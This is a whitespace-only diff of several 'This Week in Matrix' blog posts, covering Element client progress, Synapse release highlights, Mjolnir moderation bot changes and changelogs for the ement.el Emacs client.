||||
* Adding dashboard for performance benchmarks
|
||||
* Working on Apple silicon desktop builds
|
||||
* Working on translation mismatch errors
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* 1.4.1 released on Tuesday on the App Store
|
||||
* The new side menu and voice messages are coming.
|
||||
* We are setting up [Towncrier](https://github.com/twisted/towncrier) to avoid merge conflicts on our CHANGES files. Those conflict prevent Github Actions, our CI, from starting
|
||||
* We fixed several annoying bugs regarding VoIP and app stability
|
||||
* 1.4.1 released on Tuesday on the App Store
|
||||
* The new side menu and voice messages are coming.
|
||||
* We are setting up [Towncrier](https://github.com/twisted/towncrier) to avoid merge conflicts on our CHANGES files. Those conflict prevent Github Actions, our CI, from starting
|
||||
* We fixed several annoying bugs regarding VoIP and app stability
|
||||
|
||||
**Android**
|
||||
|
||||
|
||||
|
||||
* Element Android 1.1.9 has been pushed to production
|
||||
* We are working with the design team on the dark and light themes, not forgetting the black theme, to ensure some coherence across the application and also to clean up some legacy code. There were too many shades of grey… We will also do the same work on TextAppearance.
|
||||
* Element Android 1.1.9 has been pushed to production
|
||||
* We are working with the design team on the dark and light themes, not forgetting the black theme, to ensure some coherence across the application and also to clean up some legacy code. There were too many shades of grey… We will also do the same work on TextAppearance.
|
||||
|
||||
### NeoChat
|
||||
|
||||
|
|
|
|||
|
|
@ -187,49 +187,49 @@ Updates from the teams
|
|||
|
||||
**Delight team**
|
||||
|
||||
* Spaces:
|
||||
* The highly requested drag & drop for reordering of Spaces has entered RC, expect it soon
|
||||
* New settings to setup aliases for spaces will also land in next release
|
||||
* Ongoing work to improve team spaces with restricted rooms.
|
||||
* We have a plan for iOS
|
||||
* Spaces:
|
||||
* The highly requested drag & drop for reordering of Spaces has entered RC, expect it soon
|
||||
* New settings to setup aliases for spaces will also land in next release
|
||||
* Ongoing work to improve team spaces with restricted rooms.
|
||||
* We have a plan for iOS
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.31 RC on staging
|
||||
* Various tweaks and improvements to the Spaces beta experience
|
||||
* Added room intro warning when E2EE is not enabled
|
||||
* Improved message forwarding UI
|
||||
* Improved timeline reflow and room list filter performance
|
||||
* On develop
|
||||
* First version of [web perf metrics dashboard](https://matrix-org.github.io/matrix-react-sdk/dev/bench/) available, updated for each commit to develop
|
||||
* Fixed [reply thread perf regression](https://github.com/vector-im/element-web/issues/17563) which was sending lots of `/context/undefined` requests
|
||||
* In flight
|
||||
* Continuing to improve application performance
|
||||
* Working on Apple silicon desktop builds
|
||||
* Working on translation mismatch errors
|
||||
* Starting work on message bubbles, building on existing work from the community
|
||||
* Fuzzy matching for the room list filter in progress
|
||||
* Coming soon
|
||||
* Voice messages: we're in the testing stages and looking for feedback before they go live. Give it a go and let us know!
|
||||
* 1.7.31 RC on staging
|
||||
* Various tweaks and improvements to the Spaces beta experience
|
||||
* Added room intro warning when E2EE is not enabled
|
||||
* Improved message forwarding UI
|
||||
* Improved timeline reflow and room list filter performance
|
||||
* On develop
|
||||
* First version of [web perf metrics dashboard](https://matrix-org.github.io/matrix-react-sdk/dev/bench/) available, updated for each commit to develop
|
||||
* Fixed [reply thread perf regression](https://github.com/vector-im/element-web/issues/17563) which was sending lots of `/context/undefined` requests
|
||||
* In flight
|
||||
* Continuing to improve application performance
|
||||
* Working on Apple silicon desktop builds
|
||||
* Working on translation mismatch errors
|
||||
* Starting work on message bubbles, building on existing work from the community
|
||||
* Fuzzy matching for the room list filter in progress
|
||||
* Coming soon
|
||||
* Voice messages: we're in the testing stages and looking for feedback before they go live. Give it a go and let us know!
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* The new side menu and the new UI to join a room by alias are on develop.
|
||||
* The security settings screen has been updated to match the UX of element-web. The iOS app now uses the same wording for “Security Phrase” and “Security Key”
|
||||
* Device dehydration now works in the SDK. We need to polish the work before merging the PR
|
||||
* Voice message is still progressing well. We need to figure out how we will deal with the ogg format on iOS. We also need to add a cache to improve performance in the audio (and encryption) processing
|
||||
* The new side menu and the new UI to join a room by alias are on develop.
|
||||
* The security settings screen has been updated to match the UX of element-web. The iOS app now uses the same wording for “Security Phrase” and “Security Key”
|
||||
* Device dehydration now works in the SDK. We need to polish the work before merging the PR
|
||||
* Voice message is still progressing well. We need to figure out how we will deal with the ogg format on iOS. We also need to add a cache to improve performance in the audio (and encryption) processing
|
||||
|
||||
**Android**
|
||||
|
||||
|
||||
|
||||
* Theme changes are now merged on develop and will be included in release 1.1.10. All the themes and styles have been moved to a dedicated gradle module. This is the first step to be able to develop new app features using dedicated modules. Other steps are required for us to be able to do that though (create a _core_ module, etc.).
|
||||
* All the PlayStore descriptions have been pushed to the PlayStore using Fastlane, should be live soon. F-Droid already has the up to date translations for the store assets. Thanks to all the contributors on Weblate!
|
||||
* Release 1.1.10 will be prepared today. Expect it to be in production next week if everything is fine.
|
||||
* Theme changes are now merged on develop and will be included in release 1.1.10. All the themes and styles have been moved to a dedicated gradle module. This is the first step to be able to develop new app features using dedicated modules. Other steps are required for us to be able to do that though (create a _core_ module, etc.).
|
||||
* All the PlayStore descriptions have been pushed to the PlayStore using Fastlane, should be live soon. F-Droid already has the up to date translations for the store assets. Thanks to all the contributors on Weblate!
|
||||
* Release 1.1.10 will be prepared today. Expect it to be in production next week if everything is fine.
|
||||
|
||||
### NeoChat
|
||||
|
||||
|
|
|
|||
|
|
@ -178,33 +178,33 @@ Updates from the teams! Android will return next week.
|
|||
|
||||
|
||||
|
||||
* Spaces:
|
||||
* Drag and drop for reordering Spaces is now live on Android! And testable on [develop](https://develop.element.io) for Web
|
||||
* We’ve also added labs flags to Web & Android to test a few different things, in particular
|
||||
* Toggling ‘Home’ to show all rooms, or only rooms which don’t belong to Spaces
|
||||
* Toggling to not show People in Spaces
|
||||
* Please try them out! After living with a different config for a few days, we’d love to hear [your feedback!](https://matrix.to/#/[#spaces-feedback-space:matrix.org](https://matrix.to/#/#spaces-feedback-space:matrix.org))
|
||||
* Spaces:
|
||||
* Drag and drop for reordering Spaces is now live on Android! And testable on [develop](https://develop.element.io) for Web
|
||||
* We’ve also added labs flags to Web & Android to test a few different things, in particular
|
||||
* Toggling ‘Home’ to show all rooms, or only rooms which don’t belong to Spaces
|
||||
* Toggling to not show People in Spaces
|
||||
* Please try them out! After living with a different config for a few days, we’d love to hear [your feedback!](https://matrix.to/#/[#spaces-feedback-space:matrix.org](https://matrix.to/#/#spaces-feedback-space:matrix.org))
|
||||
|
||||
**Web**
|
||||
|
||||
|
||||
|
||||
* 1.7.31 released on Monday
|
||||
* Nightly builds of Element Desktop optimised for Apple silicon are [now available](https://packages.riot.im/nightly/install/macos/arm64/Element%20Nightly.dmg) for testing! Please give it a try and report any issues.
|
||||
* Added libera.chat to room directory on develop, staging, and app. It will appear in desktop builds as well next time they update.
|
||||
* On develop
|
||||
* Various CI tweaks and performance improvements
|
||||
* In flight
|
||||
* Adding large account performance tests
|
||||
* 1.7.31 released on Monday
|
||||
* Nightly builds of Element Desktop optimised for Apple silicon are [now available](https://packages.riot.im/nightly/install/macos/arm64/Element%20Nightly.dmg) for testing! Please give it a try and report any issues.
|
||||
* Added libera.chat to room directory on develop, staging, and app. It will appear in desktop builds as well next time they update.
|
||||
* On develop
|
||||
* Various CI tweaks and performance improvements
|
||||
* In flight
|
||||
* Adding large account performance tests
|
||||
|
||||
**iOS**
|
||||
|
||||
|
||||
|
||||
* 1.4.2 released on Monday. 1.4.3 with the fix on wellknown on Thursday
|
||||
* Fix a bug where the wellknown was no more fetched
|
||||
* Device dehydration is available in the SDK
|
||||
* Still good progress on voice messages
|
||||
* 1.4.2 released on Monday. 1.4.3 with the fix on wellknown on Thursday
|
||||
* Fix a bug where the wellknown was no more fetched
|
||||
* Device dehydration is available in the SDK
|
||||
* Still good progress on voice messages
|
||||
|
||||
### Quaternion
|
||||
|
||||
|
|
|
|||
|
|
@ -233,7 +233,7 @@ The moderation bot for Matrix
|
|||
> Which includes:
|
||||
> * Always echo policy list changes. List changes are now always enabled, whereas before they where only shown with `config.verboseLogging`. Mjolnir now no longer hides changes made by the same mjolnir account, providing the user with feedback for changes they have made to policy lists after using the ban/unban commands.
|
||||
> * Policy lists created by mjolnir will now be done so with support for [MSC3784](https://github.com/matrix-org/matrix-spec-proposals/pull/3784).
|
||||
> * Mjolnir now supports specifying the config file with the argument `--mjolnir-config`. It is highly recommended that you do this as opposed to relying on the environment variable `NODE_ENV`. The documentation for running with [docker](https://github.com/matrix-org/mjolnir/blob/v1.6.1/docs/setup_docker.md) and from [source](https://github.com/matrix-org/mjolnir/blob/v1.6.1/docs/setup_selfbuild.md) have been updated accordingly.
|
||||
> * Mjolnir now supports specifying the config file with the argument `--mjolnir-config`. It is highly recommended that you do this as opposed to relying on the environment variable `NODE_ENV`. The documentation for running with [docker](https://github.com/matrix-org/mjolnir/blob/v1.6.1/docs/setup_docker.md) and from [source](https://github.com/matrix-org/mjolnir/blob/v1.6.1/docs/setup_selfbuild.md) have been updated accordingly.
|
||||
> * Fix the WordList protection which was matching every message.
|
||||
> * Rework the banning and unbanning of entities in PolicyLists.
|
||||
>
|
||||
|
|
@ -289,15 +289,15 @@ The moderation bot for Matrix
|
|||
>
|
||||
> Furthermore we offer:
|
||||
>
|
||||
> - weekly workshops in advance
|
||||
> - recordable LED pixel walls
|
||||
> - Thirdroom Research Lab
|
||||
> - weekly workshops in advance
|
||||
> - recordable LED pixel walls
|
||||
> - Thirdroom Research Lab
|
||||
>
|
||||
> Contacts …
|
||||
>
|
||||
> - via Mail: [cf23@lab.nrw](mailto:cf23@lab.nrw)
|
||||
> - via CfP: [https://pretalx.c3voc.de/xrelog-2022/](https://pretalx.c3voc.de/xrelog-2022/)
|
||||
> - via XRevent.Labs Lounge: [https://matrix.to/#/#xrevent:matrix.org](https://matrix.to/#/#xrevent:matrix.org)
|
||||
> - via Mail: [cf23@lab.nrw](mailto:cf23@lab.nrw)
|
||||
> - via CfP: [https://pretalx.c3voc.de/xrelog-2022/](https://pretalx.c3voc.de/xrelog-2022/)
|
||||
> - via XRevent.Labs Lounge: [https://matrix.to/#/#xrevent:matrix.org](https://matrix.to/#/#xrevent:matrix.org)
|
||||
|
||||
|
||||
## Dept of Ping
|
||||
|
|
|
|||
|
|
@ -117,10 +117,10 @@ Secure and independent communication, connected via Matrix. Come talk with us in
|
|||
|
||||
> # Element Web/Desktop
|
||||
>
|
||||
> * Further progress on [MSC3946](https://github.com/matrix-org/matrix-spec-proposals/pull/3946) (Dynamic Room Predecessors), expecting to wrap the majority of work up next week
|
||||
> * Continued progress on improving our packaging progress across macOS, Windows and Linux to simplify future releases
|
||||
> * Stuck notifications increasingly turn into a problem. So we've adapted our roadmap to prioritize fixing them, starting with adding tools for easier debugging of the issue.
|
||||
> * Even more news on notifications: We started implementing [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) (intentional mentions) and continue to iterate on the design for a new settings page and defaults
|
||||
> * Further progress on [MSC3946](https://github.com/matrix-org/matrix-spec-proposals/pull/3946) (Dynamic Room Predecessors), expecting to wrap the majority of work up next week
|
||||
> * Continued progress on improving our packaging progress across macOS, Windows and Linux to simplify future releases
|
||||
> * Stuck notifications increasingly turn into a problem. So we've adapted our roadmap to prioritize fixing them, starting with adding tools for easier debugging of the issue.
|
||||
> * Even more news on notifications: We started implementing [MSC3952](https://github.com/matrix-org/matrix-spec-proposals/pull/3952) (intentional mentions) and continue to iterate on the design for a new settings page and defaults
|
||||
|
||||
### Element iOS ([website](https://github.com/vector-im/element-ios))
|
||||
|
||||
|
|
|
|||
|
|
@ -64,9 +64,9 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t
|
|||
> Howdy, welcome to another week in Synapse-land. We've released v1.78.0rc1
|
||||
> with some cool bugfixes and features. Some notable additions in this version are:
|
||||
>
|
||||
> * Fixed a long-standing bug where the room aliases returned could be corrupted.
|
||||
> * Fixed a bug introduced in Synapse 1.76.0 where partially-joined rooms could not be deleted using the [purge room API](https://matrix-org.github.io/synapse/latest/admin_api/rooms.html#delete-room-api).
|
||||
> * Fixed a long-standing bug where federated joins would fail if the first server in the list of servers to try is not in the room.
|
||||
> * Fixed a long-standing bug where the room aliases returned could be corrupted.
|
||||
> * Fixed a bug introduced in Synapse 1.76.0 where partially-joined rooms could not be deleted using the [purge room API](https://matrix-org.github.io/synapse/latest/admin_api/rooms.html#delete-room-api).
|
||||
> * Fixed a long-standing bug where federated joins would fail if the first server in the list of servers to try is not in the room.
|
||||
> * Implement the experimental `exact_event_match` push rule condition from [MSC3758](https://github.com/matrix-org/matrix-spec-proposals/pull/3758).
|
||||
> * Added account data to the command line [user data export tool](https://matrix-org.github.io/synapse/v1.78/usage/administration/admin_faq.html#how-can-i-export-user-data)
|
||||
>
|
||||
|
|
|
|||
|
|
@ -45,10 +45,10 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t
|
|||
> Welcome back to the backend section of TWIM. This week we released Synapse
|
||||
> v1.82.0rc1 for your consideration. Here are a few of the highlights:
|
||||
>
|
||||
> * Allow loading the `/directory/room/{roomAlias}` endpoint on workers
|
||||
> * Add some validation to `instance_map` configuration loading
|
||||
> * Delete server-side backup keys when deactivating an account
|
||||
> * Fix and document untold assumption that `on_logged_out` module hooks will be called before the deletion of pushers
|
||||
> * Allow loading the `/directory/room/{roomAlias}` endpoint on workers
|
||||
> * Add some validation to `instance_map` configuration loading
|
||||
> * Delete server-side backup keys when deactivating an account
|
||||
> * Fix and document untold assumption that `on_logged_out` module hooks will be called before the deletion of pushers
|
||||
> * Remove the broken, unspecced registration fallback. Note that the _login_ fallback is unaffected by this change.
|
||||
>
|
||||
> And much more! You can take a look at the release notes here: <https://github.com/matrix-org/synapse/releases>. As always, if you encounter a bug feel free to report it at <https://github.com/matrix-org/synapse/issues/new/choose>.
|
||||
|
|
|
|||
|
|
@ -110,8 +110,8 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t
|
|||
|
||||
> How is it Friday again?? This week the Synapse team released 1.82.0. Here are a few of the highlights:
|
||||
> * Allow loading the `/capabilities` endpoint on workers.
|
||||
> * Improve robustness when handling a perspective key response by deduplicating received server keys.
|
||||
> * Synapse now correctly fails to start if the config option `app_service_config_files` is not a list.
|
||||
> * Improve robustness when handling a perspective key response by deduplicating received server keys.
|
||||
> * Synapse now correctly fails to start if the config option `app_service_config_files` is not a list.
|
||||
> * Speed up the user directory background update.
|
||||
>
|
||||
> and much more. If you'd like to take a deep dive into the changes, you can find the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.82.0) and as always, if you encounter a bug feel free to report it at <https://github.com/matrix-org/synapse/issues/new/choose>.
|
||||
|
|
|
|||
|
|
@ -73,8 +73,8 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t
|
|||
> It's Friday Friday Friday which means it's time for another TWIM. This week the backend team released Synapse v1.83.0. Notable highlights include:
|
||||
>
|
||||
> * Update support for [MSC3983](https://github.com/matrix-org/matrix-spec-proposals/pull/3983) to allow always returning fallback-keys in a `/keys/claim` request.
|
||||
> * Fix a long-standing bug where cached server key results which were directly fetched would not be properly re-used.
|
||||
> * Fix a bug introduced in Synapse 1.73.0 where some experimental push rules were returned by default.
|
||||
> * Fix a long-standing bug where cached server key results which were directly fetched would not be properly re-used.
|
||||
> * Fix a bug introduced in Synapse 1.73.0 where some experimental push rules were returned by default.
|
||||
> * Add experimental support to recursively provide relations per [MSC3981](https://github.com/matrix-org/matrix-spec-proposals/pull/3981)
|
||||
>
|
||||
> And so much more! To read about everything in the release, take a look at the release notes [here](https://github.com/matrix-org/synapse/releases) and otherwise have a great week.
|
||||
|
|
|
|||
|
|
@ -85,8 +85,8 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t
|
|||
> It's Friday which means it's time for another TWIM. This week the backend team released Synapse v1.85.0rc2. Notable highlights include:
|
||||
>
|
||||
> * Fix a performance issue introduced in Synapse v1.83.0 which meant that purging rooms was very slow and database-intensive
|
||||
> * Improve performance of backfill requests by performing backfill of previously failed requests in the background.
|
||||
> * Fix a long-standing bug where setting the read marker could fail when using message retention
|
||||
> * Improve performance of backfill requests by performing backfill of previously failed requests in the background.
|
||||
> * Fix a long-standing bug where setting the read marker could fail when using message retention
|
||||
> * Fix a long-standing bug where deactivated users were still able to login using the custom `org.matrix.login.jwt` login type (if enabled)
|
||||
>
|
||||
> And so much more! To read about everything in the release, take a look at the release notes [here](https://github.com/matrix-org/synapse/releases) and otherwise have a great week.
|
||||
|
|
@ -107,9 +107,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in
|
|||
|
||||
[Johannes Marbach](https://matrix.to/#/@johannesm:element.io) announces
|
||||
|
||||
> * Work on stuck notifications continues and we think we've been able to [unblock](https://github.com/matrix-org/matrix-js-sdk/pull/3427) the release scheduled for next week and are preparing the necessary [spec changes](https://github.com/matrix-org/matrix-spec-proposals/pull/4023). The overall status is tracked in [vector-im/element-web#24392](https://github.com/vector-im/element-web/issues/24392).
|
||||
> * We've completed testing for our [intentional mentions](http://kv) and design review for the notification settings update. Getting close now as we've started discussing rollout strategies.
|
||||
> * We started putting together a [plan](https://github.com/vector-im/element-web/issues/25486) for integrating Compound, our new design system, into Element Web. Watch this space for more updates in the near future.
|
||||
> * Work on stuck notifications continues and we think we've been able to [unblock](https://github.com/matrix-org/matrix-js-sdk/pull/3427) the release scheduled for next week and are preparing the necessary [spec changes](https://github.com/matrix-org/matrix-spec-proposals/pull/4023). The overall status is tracked in [vector-im/element-web#24392](https://github.com/vector-im/element-web/issues/24392).
|
||||
> * We've completed testing for our [intentional mentions](http://kv) and design review for the notification settings update. Getting close now as we've started discussing rollout strategies.
|
||||
> * We started putting together a [plan](https://github.com/vector-im/element-web/issues/25486) for integrating Compound, our new design system, into Element Web. Watch this space for more updates in the near future.
|
||||
|
||||
### Element iOS ([website](https://github.com/vector-im/element-ios))
|
||||
|
||||
|
|
|
|||
|
|
@ -125,28 +125,28 @@ Matrix client for Emacs
|
|||
>
|
||||
> **Additions**
|
||||
>
|
||||
> * Commands `ement-room-image-show` and `ement-room-image-scale` (bound to `RET` and `M-RET` when point is at an image) view and scale images. (Thanks to [Steven Allen](https://github.com/Stebalien) for these and other image-related improvements.)
|
||||
> * Command `ement-room-image-show-mouse` is used to show an image with the mouse.
|
||||
> * Commands `ement-room-image-show` and `ement-room-image-scale` (bound to `RET` and `M-RET` when point is at an image) view and scale images. (Thanks to [Steven Allen](https://github.com/Stebalien) for these and other image-related improvements.)
|
||||
> * Command `ement-room-image-show-mouse` is used to show an image with the mouse.
|
||||
>
|
||||
> **Changes**
|
||||
>
|
||||
> * Enable `image-mode` when showing images in a new buffer. (Thanks to [Steven Allen](https://github.com/Stebalien).)
|
||||
> * Command `ement-room-image-show` is not used for mouse events.
|
||||
> * Show useful message in SSO login page.
|
||||
> * Enable `image-mode` when showing images in a new buffer. (Thanks to [Steven Allen](https://github.com/Stebalien).)
|
||||
> * Command `ement-room-image-show` is not used for mouse events.
|
||||
> * Show useful message in SSO login page.
|
||||
>
|
||||
> **Fixes**
|
||||
>
|
||||
> * Allow editing of already-edited events.
|
||||
> * Push rules' actions may be listed in any order. (Fixes compatibility with [v1.7 of the spec](https://spec.matrix.org/v1.7/client-server-api/#actions). Thanks to [Steven Allen](https://github.com/Stebalien).)
|
||||
> * Call external browser for SSO login page. (JavaScript is usually required, which EWW doesn't support, and loading the page twice seems to change state on the server that causes the SSO login to fail, so it's best to load the page in the external browser directly).
|
||||
> * Clean up SSO server process after two minutes in case SSO login fails.
|
||||
> * Don't stop syncing if an error is signaled while sending a notification.
|
||||
> * Command `ement-room-list-next-unread` could enter an infinite loop. (Thanks to [Visuwesh](https://github.com/vizs) and `@mrtnmrtn:matrix.org`.)
|
||||
> * Events in notifications buffer could appear out-of-order. ([#191](https://github.com/alphapapa/ement.el/issues/191). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Allow editing of already-edited events.
|
||||
> * Push rules' actions may be listed in any order. (Fixes compatibility with [v1.7 of the spec](https://spec.matrix.org/v1.7/client-server-api/#actions). Thanks to [Steven Allen](https://github.com/Stebalien).)
|
||||
> * Call external browser for SSO login page. (JavaScript is usually required, which EWW doesn't support, and loading the page twice seems to change state on the server that causes the SSO login to fail, so it's best to load the page in the external browser directly).
|
||||
> * Clean up SSO server process after two minutes in case SSO login fails.
|
||||
> * Don't stop syncing if an error is signaled while sending a notification.
|
||||
> * Command `ement-room-list-next-unread` could enter an infinite loop. (Thanks to [Visuwesh](https://github.com/vizs) and `@mrtnmrtn:matrix.org`.)
|
||||
> * Events in notifications buffer could appear out-of-order. ([#191](https://github.com/alphapapa/ement.el/issues/191). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
>
|
||||
> **Internal**
|
||||
>
|
||||
> * The `ement-read-receipt-idle-timer` could be duplicated when using multiple sessions. ([#196](https://github.com/alphapapa/ement.el/issues/196). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * The `ement-read-receipt-idle-timer` could be duplicated when using multiple sessions. ([#196](https://github.com/alphapapa/ement.el/issues/196). Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
>
|
||||
> Feel free to join us in the chat room: [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org)!
|
||||
|
||||
|
|
@ -180,9 +180,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in
|
|||
|
||||
[Johannes Marbach](https://matrix.to/#/@johannesm:element.io) says
|
||||
|
||||
> * Progress on [stuck notifications](https://github.com/vector-im/element-web/issues/24392), sadly, slowed down a little this week as we've been busy with maintenance and infrastructure issues.
|
||||
> * Our work around using Compound components in the room header continues. We've finished up the avatar component changes and dealt with some of the expected / unexpected fallout from making app-wide changes.
|
||||
> * Finally, we also proceeded moving from Weblate to Localazy for our translations. We've reduced the number of source strings by using built-ins for language names and similar things and started realising string reuse with the Element X mobile apps.
|
||||
> * Progress on [stuck notifications](https://github.com/vector-im/element-web/issues/24392), sadly, slowed down a little this week as we've been busy with maintenance and infrastructure issues.
|
||||
> * Our work around using Compound components in the room header continues. We've finished up the avatar component changes and dealt with some of the expected / unexpected fallout from making app-wide changes.
|
||||
> * Finally, we also proceeded moving from Weblate to Localazy for our translations. We've reduced the number of source strings by using built-ins for language names and similar things and started realising string reuse with the Element X mobile apps.
|
||||
|
||||
## Dept of Non Chat Clients 🎛️
|
||||
|
||||
|
|
|
|||
|
|
@ -193,25 +193,25 @@ Matrix client for Emacs
|
|||
>
|
||||
> **Additions**
|
||||
>
|
||||
> * Command `ement-notifications` shows recent notifications, similar to the pane in the Element client. (This new command fetches recent notifications from the server and allows scrolling up to retrieve older ones. Newly received notifications, as configured in the `ement-notify` options, are displayed in the same buffer. This functionality will be consolidated in the future.)
|
||||
> * Face `ement-room-quote`, applied to quoted parts of replies.
|
||||
> * Command `ement-notifications` shows recent notifications, similar to the pane in the Element client. (This new command fetches recent notifications from the server and allows scrolling up to retrieve older ones. Newly received notifications, as configured in the `ement-notify` options, are displayed in the same buffer. This functionality will be consolidated in the future.)
|
||||
> * Face `ement-room-quote`, applied to quoted parts of replies.
|
||||
>
|
||||
> **Changes**
|
||||
>
|
||||
> * Commands `ement-room-goto-next` and `ement-room-goto-prev` work more usefully at the end of a room buffer. (Now pressing `n` on the last event moves point to the end of the buffer so it will scroll automatically for new messages, and then pressing `p` skips over any read marker to the last event.)
|
||||
> * Room buffer bindings:
|
||||
> - `ement-room-goto-next` and `ement-room-goto-prev` are bound to `n` and `p`, respectively.
|
||||
> - `ement-room-goto-fully-read-marker` is bound to `M-g M-p` (the mnemonic being "go to previously read").
|
||||
> * The quoted part of a reply now omits the face applied to the rest of the message, helping to distinguish them.
|
||||
> * Commands that read a string from the minibuffer in `ement-room` buffers and `ement-connect` user ID prompts use separate history list variables.
|
||||
> * Use Emacs's Jansson-based JSON-parsing functions when available. (This results in a 3-5x speed improvement for parsing JSON responses, which can be significant for large initial sync responses. Thanks to [Ryan Rix](https://github.com/rrix/) for discovering this!)
|
||||
> * Commands `ement-room-goto-next` and `ement-room-goto-prev` work more usefully at the end of a room buffer. (Now pressing `n` on the last event moves point to the end of the buffer so it will scroll automatically for new messages, and then pressing `p` skips over any read marker to the last event.)
|
||||
> * Room buffer bindings:
|
||||
> - `ement-room-goto-next` and `ement-room-goto-prev` are bound to `n` and `p`, respectively.
|
||||
> - `ement-room-goto-fully-read-marker` is bound to `M-g M-p` (the mnemonic being "go to previously read").
|
||||
> * The quoted part of a reply now omits the face applied to the rest of the message, helping to distinguish them.
|
||||
> * Commands that read a string from the minibuffer in `ement-room` buffers and `ement-connect` user ID prompts use separate history list variables.
|
||||
> * Use Emacs's Jansson-based JSON-parsing functions when available. (This results in a 3-5x speed improvement for parsing JSON responses, which can be significant for large initial sync responses. Thanks to [Ryan Rix](https://github.com/rrix/) for discovering this!)
|
||||
>
|
||||
> **Fixes**
|
||||
>
|
||||
> * File event formatter assumed that file size metadata would be present (a malformed, e.g. spam, event might not have it).
|
||||
> * Send correct file size when sending files/images.
|
||||
> * Underscores are no longer interpreted as denoting subscripts when sending messages in Org format. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Add workaround for `savehist-mode`'s serializing of the `command-history` variable's arguments. (For `ement-` commands, that may include large data structures, like `ement-session` structs, which should never be serialized or reused, and `savehist`'s doing so could cause noticeable delays for users who enabled it). (See [#216](https://github.com/alphapapa/ement.el/issues/216). Thanks to [Phil Sainty](https://github.com/phil-s) and other users who helped to discover this problem.)
|
||||
> * File event formatter assumed that file size metadata would be present (a malformed, e.g. spam, event might not have it).
|
||||
> * Send correct file size when sending files/images.
|
||||
> * Underscores are no longer interpreted as denoting subscripts when sending messages in Org format. (Thanks to [Phil Sainty](https://github.com/phil-s).)
|
||||
> * Add workaround for `savehist-mode`'s serializing of the `command-history` variable's arguments. (For `ement-` commands, that may include large data structures, like `ement-session` structs, which should never be serialized or reused, and `savehist`'s doing so could cause noticeable delays for users who enabled it). (See [#216](https://github.com/alphapapa/ement.el/issues/216). Thanks to [Phil Sainty](https://github.com/phil-s) and other users who helped to discover this problem.)
|
||||
>
|
||||
> Feel free to join us in the chat room: [#ement.el:matrix.org](https://matrix.to/#/#ement.el:matrix.org)!
|
||||
|
||||
|
|
|
|||
|
|
@ -196,11 +196,11 @@ Secure and independent communication, connected via Matrix. Come talk with us in
|
|||
|
||||
[Johannes Marbach](https://matrix.to/#/@johannesm:element.io) announces
|
||||
|
||||
> * Our stuck notifications project saw both a setback and a victory this week. First we had to back out an earlier fix as we've detected a regression caused by it in the release candidate. We have a re-fix ready that we're planning to land soon. Separately from this, we've managed to fix around 10 failing test cases by improving our handling of invalid receipts. As usual, check out <https://github.com/vector-im/element-web/issues/24392> for more details.
|
||||
> * Due to team changes our work on updating the room header and details UX has slowed down. We're currently regrouping to reassess what still needs fixing before a public release.
|
||||
> * Final testing of our native OIDC implementation was delayed as we discovered a [bug](https://github.com/vector-im/element-web/issues/26466). In investigating it turned out that Element X has the same problem and that a follow-up on the spec level is required.
|
||||
> * Work on streamlining our release process has continued and we're getting close to being able to make releases without dedicated hardware.
|
||||
> * Lastly, we've also struggled with a few more CI issues around Cypress and our current usage of it that took away time from other activities.
|
||||
> * Our stuck notifications project saw both a setback and a victory this week. First we had to back out an earlier fix as we've detected a regression caused by it in the release candidate. We have a re-fix ready that we're planning to land soon. Separately from this, we've managed to fix around 10 failing test cases by improving our handling of invalid receipts. As usual, check out <https://github.com/vector-im/element-web/issues/24392> for more details.
|
||||
> * Due to team changes our work on updating the room header and details UX has slowed down. We're currently regrouping to reassess what still needs fixing before a public release.
|
||||
> * Final testing of our native OIDC implementation was delayed as we discovered a [bug](https://github.com/vector-im/element-web/issues/26466). In investigating it turned out that Element X has the same problem and that a follow-up on the spec level is required.
|
||||
> * Work on streamlining our release process has continued and we're getting close to being able to make releases without dedicated hardware.
|
||||
> * Lastly, we've also struggled with a few more CI issues around Cypress and our current usage of it that took away time from other activities.
|
||||
|
||||
## Dept of SDKs and Frameworks 🧰
|
||||
|
||||
|
|
|
|||
|
|
@ -144,21 +144,21 @@ Matrix client for Emacs
|
|||
>
|
||||
> **Additions**
|
||||
>
|
||||
> * Audio events are rendered as a link to the audio file. (Thanks to [Arto Jantunen](https://github.com/viiru-).)
|
||||
> * Customization group `ement-room-list`.
|
||||
> * Option `ement-room-list-space-prefix` is applied to space names in the room list (e.g. set to empty string for cleaner appearance).
|
||||
> * Option `ement-room-reaction-names-limit` sets how many senders of a reaction are shown in the buffer (more than that many are shown in the tooltip).
|
||||
> * Audio events are rendered as a link to the audio file. (Thanks to [Arto Jantunen](https://github.com/viiru-).)
|
||||
> * Customization group `ement-room-list`.
|
||||
> * Option `ement-room-list-space-prefix` is applied to space names in the room list (e.g. set to empty string for cleaner appearance).
|
||||
> * Option `ement-room-reaction-names-limit` sets how many senders of a reaction are shown in the buffer (more than that many are shown in the tooltip).
|
||||
>
|
||||
> **Changes**
|
||||
>
|
||||
> * Bind `TAB` / `BACKTAB` to move between links in room and like buffers. ([#113](https://github.com/alphapapa/ement.el/issues/113). Thanks to [Eric S. Fraga](https://github.com/ericsfraga) for suggesting.)
|
||||
> * Bind `TAB` / `BACKTAB` to move between links in room and like buffers. ([#113](https://github.com/alphapapa/ement.el/issues/113). Thanks to [Eric S. Fraga](https://github.com/ericsfraga) for suggesting.)
|
||||
>
|
||||
> **Fixes**
|
||||
>
|
||||
> * Insertion of sender headers (when using "Elemental" message format). (Refactoring contributed by [Steven Allen](https://github.com/Stebalien).)
|
||||
> * Some room event data was being unintentionally serialized to disk when caching the room list visibility state. ([#256](https://github.com/alphapapa/ement.el/issues/256))
|
||||
